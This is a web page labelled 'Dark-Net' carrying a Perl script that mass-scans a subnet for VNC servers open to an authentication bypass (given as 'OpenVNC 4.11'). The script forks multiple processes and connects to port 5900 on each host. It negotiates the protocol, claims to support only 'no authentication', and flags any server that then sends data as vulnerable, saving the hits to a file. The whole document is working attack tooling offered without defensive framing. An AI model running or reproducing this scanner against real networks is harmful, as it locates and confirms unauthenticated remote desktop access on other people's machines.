Dark-Net |
|
| CODICE #!/usr/bin/perl # Multi-threaded scan for OpenVNC 4.11 authentication bypass. use strict; # why not? use warnings; use IO::Socket;
use threads; use threads::shared; use Errno qw(EAGAIN);
# Configuration variables use constant VNC_PORT => 5900; my $splits = 5; # Creates 2^N processes.
my $avg_time = 5; # Tweak this to get better time estimates. our $subnet; our @results : shared;
our $todo = 0; my $orig_thread = "yes"; my $start;
my $end; my $time_estimate; my $elapsed = time; my $out_file;
++$|; # To watch as the results come in, in real time. $subnet = $ARGV[0] || ""; # Get subnet from command line, else ask for it.
while (1) { last if $subnet =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.?\*?/; print "\nWhat subnet do you want to scan? "; chomp($subnet = <STDIN>); print "That does not look right. Enter something like 192.168.1.*\n\n";
} # Put the subnet in the form x.y.z. so we can just concatenate the hostnum. $subnet =~ s/^(\d{1,3}\.\d{1,3}\.\d{1,3}).*/$1/; $subnet .= ".";
$out_file = "VNC_" . $subnet . "txt"; # Mostly a guesstimate $time_estimate = $avg_time * (256 / (2**$splits));
$time_estimate = int ($time_estimate / 60); $time_estimate += 4;
print "\nScanning subnet ${subnet}x -- this should take approximately $time_estimate minute(s).\n"; print "[!] = Vulnerable, [*] = Safe, [.] = No response.\n\n"; CHECK: {
unless ($splits >= 0 && $splits <= 8) {
die "ERROR: Do not split $splits times--that makes no sense.\n"; } unless ($splits <= 5) {
warn "Reduce the number of splits from $splits to 5 or less if you get memory errors.\n\n"; } } # Ugly, but this works. DivideWork() if $splits >= 1; DivideWork() if $splits >= 2; DivideWork() if $splits >= 3; DivideWork() if $splits >= 4; DivideWork() if $splits >= 5; DivideWork() if $splits >= 6; DivideWork() if $splits >= 7; DivideWork() if $splits >= 8;
# Which IPs this thread scans. $start = $todo << (8 - $splits);
$end = $start + (256 / (2**$splits)) - 1;
foreach ($start .. $end) { Scan_VNC($_);
} wait until $?; # Wait for children to finish. exit unless $orig_thread eq "yes";
# Only the original parent thread will continue. $elapsed = time - $elapsed; $elapsed /= 60;
$elapsed = int $elapsed; print "\n\nFinished scanning ${subnet}x in $elapsed minute(s).\n"; SaveData();
exit; #################################### sub DivideWork { my $pid; FORK: {
$todo *= 2; if ($pid = fork) {
# Parent ++$todo; } elsif (defined $pid) {
# Child $orig_thread = "no"; } elsif ($! == EAGAIN) {
# Recoverable forking error. sleep 7; redo FORK; } else {
# Unable to fork. die "Unable to fork: $!\n"; } } }
sub SaveData { my $vulns = 0; open(FOUND, ">", $out_file) or die "Cannot open $out_file -- $!"; foreach my $IP (1..254) {
my $record; $record = $results[$IP]; unless ($record =~ m/not vulnerable/io) {
++$vulns; print FOUND $record; } } print FOUND "\nVulnerabilites found: $vulns"; close(FOUND) or die "Cannot close $out_file -- $!"; print "Data saved to ${out_file}\n\n";
} sub Scan_VNC { # Scan for OpenVNC 4.11 authentication bypass. my $hostnum = shift; my $host = $subnet . $hostnum; my $sock; my $proto_ver; my $ignored; my $auth_type; my $sec_types; my $vnc_data; $host or die("ERROR: no host passed to Scan_VNC.\n"); # The host numbers .0 and .255 are reserved; ignore them.
if ($hostnum <= 0 or $hostnum >= 255) { return; }
# Format things nicely--that crazy formula just adds spaces. $results[$hostnum] = "$host"; $results[$hostnum] .= (" " x (4 - int(log($hostnum)/log(10)))) . " = "; unless ($sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => VNC_PORT, Proto => 'tcp',)) {
$results[$hostnum] .= "Not vulnerable, no response.\n"; print "."; return; }
# Negotiate protocol version. $sock->read($proto_ver, 12); print $sock $proto_ver; # Get supported security types and ignore them.
$sock->read($sec_types, 1); $sock->read($ignored, unpack('C', $sec_types)); # Claim that we only support no authentication.
print $sock "\x01"; # We should get "0000" back, indicating that they won't fall back to no authentication. $sock->read($auth_type, 4); if (unpack('I', $auth_type)) {
$results[$hostnum] .= "Not vulnerable, refused to support authentication type.\n"; print "*"; close($sock); return; }
# Client initialize. print $sock "\x01"; # If the server starts sending data, we're in. $sock->read($vnc_data, 4); if (unpack('I', $vnc_data)) {
$results[$hostnum] .= "VULNERABLE! $proto_ver\n"; print "!"; } else {
$results[$hostnum] .= "Not vulnerable, did not send data.\n"; print "*"; }
close($sock); return; }
|
| |